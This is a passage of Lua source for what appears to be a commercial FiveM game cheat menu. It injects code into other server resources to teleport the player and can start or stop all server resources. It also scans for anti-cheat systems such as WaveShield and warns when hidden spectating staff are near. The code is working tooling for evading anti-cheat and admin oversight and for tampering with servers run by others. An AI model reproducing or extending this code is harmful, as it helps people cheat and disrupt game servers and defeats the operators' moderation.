SendSvelte('setSpectatorList', { visible = checked }) SendSvelte('showSpectators', { showSpectators = checked }) if checked then showNotify('Spectator warning module active!', 'info') else showNotify('Spectator warning module disabled', 'info') end end }, { type = 'divider', label = 'Menu Color' }, { label = 'Red', type = 'slider', autoConfirm = true, value = menuColorR, min = 0, max = 255, step = 5, onConfirm = function(v) menuColorR = v SendSvelte('setMenuColor', { r = menuColorR, g = menuColorG, b = menuColorB }) end }, { label = 'Green', type = 'slider', autoConfirm = true, value = menuColorG, min = 0, max = 255, step = 5, onConfirm = function(v) menuColorG = v SendSvelte('setMenuColor', { r = menuColorR, g = menuColorG, b = menuColorB }) end }, { label = 'Blue', type = 'slider', autoConfirm = true, value = menuColorB, min = 0, max = 255, step = 5, onConfirm = function(v) menuColorB = v SendSvelte('setMenuColor', { r = menuColorR, g = menuColorG, b = menuColorB }) end } } }, { name = 'Teleports', submenu = { { type = 'divider', label = 'Teleport Tools' }, { label = 'Teleport to Waypoint', type = 'button', onConfirm = function() injectCode('monitor', [[ local wp = GetFirstBlipInfoId(8) if DoesBlipExist(wp) then local c = GetBlipInfoIdCoord(wp) local ped = PlayerPedId() if IsPedInAnyVehicle(ped, false) then SetEntityCoords(GetVehiclePedIsIn(ped, false), c.x, c.y, c.z + 2.0, false, false, false, false) else SetEntityCoords(ped, c.x, c.y, c.z + 2.0, false, false, false, false) end end ]]) showNotify("Teleported to Waypoint", "success") end }, { label = 'Teleport to Coords', type = 'button', onConfirm = function() showInput("Enter Coords (X, Y, Z)", "", function(coordsStr) if coordsStr and coordsStr ~= "" then local x, y, z = coordsStr:match("([^,]+),%s*([^,]+),%s*([^,]+)") if x and y and z then local nx, ny, nz = tonumber(x), tonumber(y), tonumber(z) if nx and ny and nz then injectCode('monitor', string.format([[ local ped = PlayerPedId() if IsPedInAnyVehicle(ped, false) then SetEntityCoords(GetVehiclePedIsIn(ped, false), %f, %f, %f, false, false, false, false) else SetEntityCoords(ped, %f, %f, %f, false, false, false, false) end ]], nx, ny, nz, nx, ny, nz)) showNotify("Teleported!", "success") end end end end) end }, { type = 'divider', label = 'Locations' }, { label = 'Legion Square', type = 'button', onConfirm = function() injectCode('monitor', [[ local p = PlayerPedId() local v = IsPedInAnyVehicle(p,false) and GetVehiclePedIsIn(p,false) or p SetEntityCoordsNoOffset(v, 215.1, -810.1, 30.7, false, false, false) ]]) showNotify("TP: Legion Square", "success") end }, { label = 'Grove Street', type = 'button', onConfirm = function() injectCode('monitor', [[ local p = PlayerPedId() local v = IsPedInAnyVehicle(p,false) and GetVehiclePedIsIn(p,false) or p SetEntityCoordsNoOffset(v, -134.4, -1612.8, 32.4, false, false, false) ]]) showNotify("TP: Grove Street", "success") end }, { label = 'Sandy Airfield', type = 'button', onConfirm = function() injectCode('monitor', [[ local p = PlayerPedId() local v = IsPedInAnyVehicle(p,false) and GetVehiclePedIsIn(p,false) or p SetEntityCoordsNoOffset(v, 1736.5, 3256.4, 41.2, false, false, false) ]]) showNotify("TP: Sandy Airfield", "success") end }, { label = 'Mount Chiliad', type = 'button', onConfirm = function() injectCode('monitor', [[ local p = PlayerPedId() local v = IsPedInAnyVehicle(p,false) and GetVehiclePedIsIn(p,false) or p SetEntityCoordsNoOffset(v, 496.6, 5591.2, 794.6, false, false, false) ]]) showNotify("TP: Mount Chiliad", "success") end }, { label = 'Paleto Bay', type = 'button', onConfirm = function() injectCode('monitor', [[ local p = PlayerPedId() local v = IsPedInAnyVehicle(p,false) and GetVehiclePedIsIn(p,false) or p SetEntityCoordsNoOffset(v, -135.2, 6386.4, 31.5, false, false, false) ]]) showNotify("TP: Paleto Bay", "success") end }, { label = 'Fort Zancudo', type = 'button', onConfirm = function() injectCode('monitor', [[ local p = PlayerPedId() local v = IsPedInAnyVehicle(p,false) and GetVehiclePedIsIn(p,false) or p SetEntityCoordsNoOffset(v, -2047.4, 3132.1, 32.8, false, false, false) ]]) showNotify("TP: Fort Zancudo", "success") end }, { label = 'Los Santos Airport', type = 'button', onConfirm = function() injectCode('monitor', [[ local p = PlayerPedId() local v = IsPedInAnyVehicle(p,false) and GetVehiclePedIsIn(p,false) or p SetEntityCoordsNoOffset(v, -1037.7, -2737.8, 13.8, false, false, false) ]]) showNotify("TP: LS Airport", "success") end } } } } }, { label = 'Settings', icon = 'ph-gear', type = 'submenu', tabs = { { name = 'Settings', submenu = { { label = 'Set Menu Keybind', type = 'button', onConfirm = function() settingKeybind = true currentInputData.buffer = MenuKey pushBuffer() showInput("Menu Keybind", MenuKey, function(key) if key and key ~= "" then MenuKey = key showNotify("Menu keybind set to: " .. MenuKey, "info") end end, "SetKeybind") end }, { label = 'Check Anti-Cheat', type = 'button', onConfirm = function() showNotify("Scanning server for Anti-Cheat...", "info") CreateThread(function() Wait(50) local acList = {} pcall(function() local extra = scanForAntiCheat() if extra and #extra > 0 then for _, item in ipairs(extra) do acList[#acList + 1] = item end end local wsRes = (type(GetWSResourceName) == "function" and GetWSResourceName()) or nil if wsRes then local already = false for _, item in ipairs(acList) do if item.name == wsRes then already = true break end end if not already then acList[#acList + 1] = { name = wsRes, type = "WaveShield Anti-Cheat" } end end end) if #acList > 0 then local msgs = {} for idx = 1, math.min(#acList, 5) do msgs[#msgs + 1] = string.format("%s (%s)", acList[idx].name, acList[idx].type) end local summary = table.concat(msgs, ", ") showNotify(string.format("Detected %d AC Resource(s): %s", #acList, summary), "warning") else showNotify("No known Anti-Cheat resources detected on this server.", "info") end end) end }, { label = 'Crash Own Game', type = 'button', onConfirm = function() MachoInjectResourceRaw("any", [[ local p4 = 4 if p4 == 4 then for i = 1, 10000 do for j = 1, 10000 do for k = 1, 10000 do end end end end ]]) end }, { label = 'Get Server IP', type = 'button', onConfirm = function() local serverIP = GetCurrentServerEndpoint() or "Unknown" print("Current Server IP: " .. serverIP) end } } }, { name = 'Resources', submenu = (function() local submenu = { { type = "button", label = "Start All Resources", desc = "Starts up any dormant threads in all found resources.", onConfirm = function() local started = 0 for i = 0, GetNumResources() - 1 do local res = GetResourceByFindIndex(i) if res then pcall(function() MachoResourceStart(res) started = started + 1 end) Wait(5) end end showNotify(("Started %d resources"):format(started), "success") end }, { type = "button", label = "Stop All Resources", desc = "Stops any active threads in all found resources.", onConfirm = function() local stopped = 0 for i = 0, GetNumResources() - 1 do local res = GetResourceByFindIndex(i) if res and GetResourceState(res) == "started" then pcall(function() MachoResourceStop(res) stopped = stopped + 1 end) Wait(5) end end showNotify(("Stopped %d resources"):format(stopped), "success") end }, { type = "button", label = "Copy All Resource Names", desc = "Copies every resource name to clipboard.", onConfirm = function() local list = {} for i = 0, GetNumResources() - 1 do local r = GetResourceByFindIndex(i) if r then list[#list + 1] = r end end MachoSetClipboardText(table.concat(list, "\n")) showNotify("Copied All Resource Names to Clipboard", "success") end }, { type = "divider", label = "Active Resources" } } for i = 0, GetNumResources() - 1 do local name = GetResourceByFindIndex(i) if name and name ~= "" then submenu[#submenu + 1] = { type = "scroll", label = name, desc = ("Manage actions for '%s'"):format(name), options = { { label = "Start Resource", value = "start" }, { label = "Stop Resource", value = "stop" }, { label = "Copy Resource Name", value = "copy" }, { label = "Test Resource Injection", value = "test_res" }, { label = "Test Thread Injection", value = "test_thread" } }, selected = 1, onConfirm = function(data) local opt = data.value if opt == "start" then MachoResourceStart(name) showNotify(("Started Resource '%s'"):format(name), "success") elseif opt == "stop" then MachoResourceStop(name) showNotify(("Stopped Resource '%s'"):format(name), "success") elseif opt == "copy" then MachoSetClipboardText(name) showNotify(("Copied Resource Name '%s' to Clipboard"):format(name), "success") elseif opt == "test_res" then VerifiedInject(name, "resource") elseif opt == "test_thread" then VerifiedInject(name, "thread") end end } end end return submenu end)() } } } } activeMenu = MenuConfig CreateThread(function() while true do Wait(1000) if IsVisible and type(activeMenu) == "table" and activeMenu ~= MenuConfig then local divIdx = -1 for i = 1, #activeMenu do local item = activeMenu[i] if item and item.type == 'divider' and item.label == 'Nearby Players' then divIdx = i break end end if divIdx ~= -1 then local myPed = PlayerPedId() local coords = GetEntityCoords(myPed) local nearby = Syndicate:GetNearbyPlayers(coords, nil, true) for i = #activeMenu, divIdx + 1, -1 do table.remove(activeMenu, i) end if #nearby == 0 then activeMenu[#activeMenu + 1] = { type = 'button', label = 'No Nearby Players Found', disabled = true, onConfirm = function() end } else table.sort(nearby, function(a, b) return tonumber(a.serverId) < tonumber(b.serverId) end) for _, p in ipairs(nearby) do local sid = tonumber(p.serverId) activeMenu[#activeMenu + 1] = { type = 'checkbox', label = string.format("%s - [%s]", p.name, sid), serverId = sid, checked = CPlayers[sid] or false, onConfirm = function(checked) CPlayers[sid] = checked end } end end for k, _ in pairs(CPlayers) do local found = false for _, p in ipairs(nearby) do if tonumber(p.serverId) == tonumber(k) then found = true break end end if not found then CPlayers[k] = nil end end pcall(function() setCurrent() end) end end end end) _G.ShowSpectatorList = false CreateThread(function() while true do Wait(1000) if _G.ShowSpectatorList then local setSpectatorItems = {} local players = GetActivePlayers() or {} local selfPlayer = PlayerId() local selfPed = PlayerPedId() local selfCoords = GetEntityCoords(selfPed) if #(selfCoords - vector3(0.0, 0.0, 0.0)) > 10.0 then for i = 1, #players do local player = players[i] if player ~= selfPlayer then local ped = GetPlayerPed(player) if DoesEntityExist(ped) then local coords = GetEntityCoords(ped) if not IsEntityVisible(ped) and math.abs(coords.x - selfCoords.x) <= 10.0 and math.abs(coords.y - selfCoords.y) <= 10.0 and math.abs(coords.z - selfCoords.z) >= 5.0 then setSpectatorItems[#setSpectatorItems + 1] = { label = GetPlayerName(player), value = tostring(GetPlayerServerId(player)) } end end end end end SendSvelte('updateSpectators', { Spectators = setSpectatorItems }) end end end) CreateThread(function() CreateThread(function() loadInject() local authLabel = string.format("%s (Lifetime)", tostring(authenticatedUser or "User")) if Dui then MachoSendDuiMessage(Dui, json.encode({ action = 'getAuthName', authName = authLabel })) end end) while true do Wait(1000) end end)